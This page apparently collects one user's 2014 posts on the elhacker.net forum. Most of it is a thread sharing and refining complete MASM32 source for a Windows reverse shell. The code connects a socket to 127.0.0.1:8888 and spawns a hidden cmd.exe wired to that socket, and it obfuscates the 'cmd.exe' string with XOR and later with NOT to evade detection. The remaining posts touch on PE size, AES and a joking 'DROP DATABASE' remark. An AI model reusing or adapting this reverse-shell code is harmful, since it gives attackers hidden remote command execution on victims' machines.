elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 ... 97
331  Programación / ASM / Re: Remote Shell (Masm32) en: 15 Mayo 2014, 22:41 pm
Citar
notl _cmd
notl _cmd+4
leal _cmd, %eax

Puede que sea por mi ignorancia.. pero no se puede hacer eso en masm
por eso moví el dword a eax y le aplique el not, luego el segundo dword.

Con respecto a las estructuras, bueno.. la primera la conseguí, pero para ser sincero solo por probar (puede que en otra situación tenga que hacerlo así, si o si) pero convengamos que el código queda mas limpio usando las estructuras declaradas por el SO, y no se ahorra mucho en tamaño ni en instrucciones..

Igual esta bueno saber manejar estructuras con etiquetas.. para lo que yo pretendo hacer (cuando tenga mas claras las cosas) me va a venir impecable saber eso

Gracias!! Saludos!

CORRECION:

Pero si se puede hacer esto:

Código
  1. not dword ptr ds:[CLine]
  2. not dword ptr ds:[CLine + 4]
332  Programación / Ingeniería Inversa / Re: Ayuda con PExplorer en: 15 Mayo 2014, 19:20 pm
Yo lo lei de aca,, (y de otras fuentes) pero me parece que esta bastante bien explicado ahi..

Citar

Saludos!!
333  Programación / ASM / Re: Remote Shell (Masm32) en: 15 Mayo 2014, 01:55 am
Ya viniste a complicarme la vida.. jajaja Na.. genial! Pero ahora que tiraste la piedra me das una mano.. jeje

Citar
"cmd.exe0" = 636D642E65786500 Hex

Ok.. hasta ahí todo bien.. entiendo el not, pero no puedo aplicárselo a un tipo tan largo me dice.. ¬¬

Y con lo de la estructura no caigo:

Código
  1. ;esto se hace asi, no queda otra..
  2. mov _StartupinfoA.hStdInput,  eax
  3. mov _StartupinfoA.hStdOutput, eax
  4. mov _StartupinfoA.hStdError,  eax
  5. ;Esto otro hacerlo en .data.. pero como carambanos¿?
  6. mov _StartupinfoA.wShowWindow, SW_HIDE
  7. mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
  8. mov _StartupinfoA.cb, sizeof _StartupinfoA

EDIT:
Código
  1. mov eax, 9C929BD1h
  2. not eax
  3. mov eax, 9A879AFFh
  4. not eax

Ahi esta "noteada" la cadena, le aplico el not para convertirla a "cmd.exe".. pero como la guardo/uso devuelta??

EDIT2:

Código
  1. mov eax, 0D19B929Ch
  2. not eax
  3. mov dword ptr ds:[NuevaLinea], eax
  4. mov eax, 0FF9A879Ah
  5. not eax
  6. mov dword ptr ds:[NuevaLinea + 4], eax

Bueno!!! Asi funciona.. pero.. es lo mas adecuado/Optimo?

Gracias man!! Me pusiste a pensar! Saludos!
334  Programación / ASM / Re: Remote Shell (Masm32) en: 15 Mayo 2014, 00:34 am
Citar
Doy por sentado de que no es una shellcode, ya que estas usando la sección .data.
Verdad.. quería un código ejecutable, igual pasarlo a shellcode no es complicado.. ;)

Citar
Veo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella?
No había logrado hacer eso.. pero luego de tu sugerencia conseguí hacer así:

Código
  1. _Sockaddrin:
  2. sin_family:
  3. word 0002h ; -> AF_INET
  4. sin_port:
  5. word 0b822h ; -> 8888
  6. sin_addr:
  7. dword 100007Fh ; -> 127.0.0.1
Código
  1. invoke connect, ebx, _Sockaddrin, 16

Pero tengo problemas con Startupinfo.. porque seria algo asi:

Código
  1. _StartupinfoA:
  2. hStdInput:
  3. dword eax
  4. hStdOutput:
  5. dword eax
  6. hStdError:
  7. dword eax

Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S

Citar
push offset _Comandline
pop eax

Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo?
Ha si, si.. totalmente.. eso quedo mal de una funcion que habia probado.. corregido seria:

Código
  1. mov eax, offset _Comandline

Citar
Y el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista.
Not te entendi jaja el loop para conectar? o el del xor?
335  Programación / ASM / Remote Shell (Masm32) en: 14 Mayo 2014, 21:37 pm
Hola.. aporto con un codigo en masm.. no hay mucho que aclarar..

Código
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4.  
  5. include windows.inc
  6. include kernel32.inc
  7. includelib kernel32.lib
  8. ; ----------------------
  9. include ws2_32.inc
  10. includelib ws2_32.lib
  11. ; ----------------------
  12.  
  13. .data?
  14. _Wsadata WSADATA <>
  15. _Sockaddrin sockaddr_in <>
  16. _Processinfo PROCESS_INFORMATION <>
  17. _StartupinfoA STARTUPINFOA <>
  18. .data
  19. _Comandline db "djc)bb", 0 ; -> cmd.exe xor 7
  20.  
  21. .code
  22. _Start:
  23.  
  24. ; SOCKET
  25. mov eax, 100007Fh ; -> 127.0.0.1
  26. mov _Sockaddrin.sin_port, 0b822h ; -> 8888
  27. mov _Sockaddrin.sin_addr, eax
  28. mov _Sockaddrin.sin_family, AF_INET
  29.  
  30. invoke WSAStartup, 202h, addr _Wsadata
  31. invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0
  32.  
  33. ; SHELL
  34. mov _StartupinfoA.hStdInput,  eax
  35. mov _StartupinfoA.hStdOutput, eax
  36. mov _StartupinfoA.hStdError,  eax
  37. mov _StartupinfoA.wShowWindow, SW_HIDE
  38. mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
  39. mov _StartupinfoA.cb, sizeof _StartupinfoA
  40.  
  41. mov ebx, eax ; Guardo el Socket Handle
  42.  
  43. ; CONNECT
  44. _noconnect:
  45. invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin
  46. or eax, eax
  47. jnz _noconnect
  48.  
  49. ; DECRYPT
  50. xor ecx, ecx
  51. push offset _Comandline
  52. pop eax
  53. _nozero:
  54. cmp byte ptr ds:[eax + ecx], 0
  55. je _zero
  56. xor byte ptr ds:[eax + ecx], 7
  57. inc ecx
  58. jmp _nozero
  59. _zero:
  60.  
  61. invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo
  62. invoke ExitProcess, 0
  63.  
  64. end _Start

Suerte!! Saludos!
336  Seguridad Informática / Criptografía / Re: AES 128 bits Encrypt [ASM Bit slice] en: 14 Mayo 2014, 19:15 pm
Lo publicaste nomas! Te pasaste! Yo no entiendo la mayoría de esas instrucciones, y lo que vi del cifrado AES es poco, así que te imaginas que no entiendo nada de lo que veo ahí.. Pero te felicito nuevamente! Se que a veces no es fácil desprenderse de un code.. esperemos se respete el autor.

Pregunta.. cual seria el punto de entrada ahí? Como le indicarías que cifrar?

Saludos!! Felicidades!
337  Programación / PHP / Re: Foreach solo se reproduce 20 veces en: 14 Mayo 2014, 02:47 am
Imposible ayudarte así.. usa var_dump y pone lo que te dice..

Suerte! Saludos!
338  Programación / Ingeniería Inversa / Re: Que tipo de cifrado es este? (24 caracteres) en: 10 Mayo 2014, 02:06 am
Citar
va contra las reglas del foro los temas ilegales o no éticos -.-

Citar
Es solo practica.. El sitio es de hace 8 años (2006)

Yo creo que en este caso,, ya que el dueño no lo soluciono en 8 años al problema se merece un DROP DATABASE!!  ;-)

Bueno,,, en realidad no.. mejor monta un server para hacer pruebas..

Saludos!
339  Seguridad Informática / Seguridad / Re: Como encuentran las autoridades a los creadores de virus en: 10 Mayo 2014, 01:41 am
Citar
La mayoría de veces los creadores han cometido pequeños errores en strings o el virus se conecta a algún sitio para actualizarse

Ta.. que se conecte a un servidor, y algun boludo haya dejado sus datos lo puedo entender.. pero error en un string???
Ponele que si puso "horeja", sabemos que no sabe escribir.. es una pista importante??  :o
340  Programación / ASM / Re: PE mas PEqueños.. en: 10 Mayo 2014, 01:04 am
Citar
No entiendo eso de "no te lo permite en una sola linea", yo puedo añadir los bytes que quiera en cualquier parte de .text ".code".

En realidad es un tema de sintaxis.. ej:

Código
  1. cadena: db "cmd.exe", 0 -> db syntax error

Pero si lo hago asi:

Código
  1. cadena:
  2.     db "cmd.exe", 0

No es porque no se pueda.. es un tema de sintaxis nomas..
Ya corrobore que los db que quedan en el código son las estructuras,, así que no se puede reducir mas, y si se puede serán unos bytes.. no me caliento mas jaja

Me parece que el formato ELF es menos exigente con el formato.. en win, un cambio inesperado y se pudre el PE..  :rolleyes:
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 ... 97
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines